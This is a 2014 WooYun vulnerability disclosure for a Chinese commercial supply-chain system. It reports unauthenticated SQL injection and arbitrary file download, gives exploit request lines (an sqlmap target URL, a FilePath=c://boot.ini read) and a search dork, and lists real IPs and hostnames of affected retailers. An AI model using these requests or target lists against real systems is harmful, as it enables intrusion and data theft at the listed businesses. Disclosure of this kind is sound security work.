某商业链系统通用SQL注入一枚，外加任意文件下载（无须登录）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066881

漏洞标题：某商业链系统通用SQL注入一枚，外加任意文件下载（无须登录）

漏洞作者： sex is not show

提交时间：2014-07-01 21:42

修复时间：2014-09-29 21:44

公开时间：2014-09-29 21:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-01：细节已通知厂商并且等待厂商处理中
2014-07-06：厂商已经确认，细节仅向厂商公开
2014-07-09：细节向第三方安全合作伙伴开放
2014-08-30：细节向核心白帽子及相关领域专家公开
2014-09-09：细节向普通白帽子公开
2014-09-19：细节向实习白帽子公开
2014-09-29：细节向公众公开

简要描述：

涉及全国多家超市、商场

详细说明：

技术支持:北京富基融通科技有限公司(http://www.e-future.com.cn/)
程序名称：商业供应链系统
漏洞类型：SQL注入 & 任意文件下载
是否需要登录：否
漏洞文件：web/account/dxList.jsp （注入）
web/login/downloadAct.jsp（任意文件下载）
漏洞参数：id grpcode （注入）
FilePath （任意文件下载）
关键字：google & baidu intitle:商业供应链系统
影响用户：
可以参看开发公司的案例介绍： http://www.e-future.com.cn/case_market.php
个人搜集了些案例：

北京奥特莱斯SCM商业供应链系统 
http://123.127.107.117/web/epublic/upload.jsp 
哈尔滨联强乐买SCM商业供应链系统 
http://1.58.67.114/web/epublic/upload.jsp 
北人集团_商业供应链SCM系统-超市 
http://scm.brjt.cn:8081/web/epublic/upload.jsp 
国光SCM商业供应链系统 
http://gyl.jxggls.com:8080/web/epublic/upload.jsp 
家乐园供应链系统 
http://222.223.124.193:8081/web/epublic/upload.jsp 
商业供应链系统 
http://js.bjcsf.com/web/epublic/upload.jsp 
商业供应链系统 
http://218.66.37.70:8081/web/epublic/upload.jsp 
商业供应链系统 
http://218.207.88.11/web/epublic/upload.jsp 
商业供应链系统 
http://60.2.37.237:8080/web/epublic/upload.jsp 
沈阳新一城商场经营管理有限公司 
http://61.161.160.102:8080/web/epublic/upload.jsp 
新朝阳购物中心网 
http://60.10.134.176:8080/web/epublic/upload.jsp 
东方购物广场有限公司SCM系统 
http://60.213.49.66:8000/web/epublic/upload.jsp 
http://221.194.122.150/web/epublic/upload.jsp

利用方式：
1. SQL注入，直接用工具跑就可以了(Sqlmap)
web/account/dxList.jsp?id=1&grpcode=0&sstyle1=0
2. 任意文件下载：
web/login/downloadAct.jsp?FilePath=c://boot.ini&name=boot.ini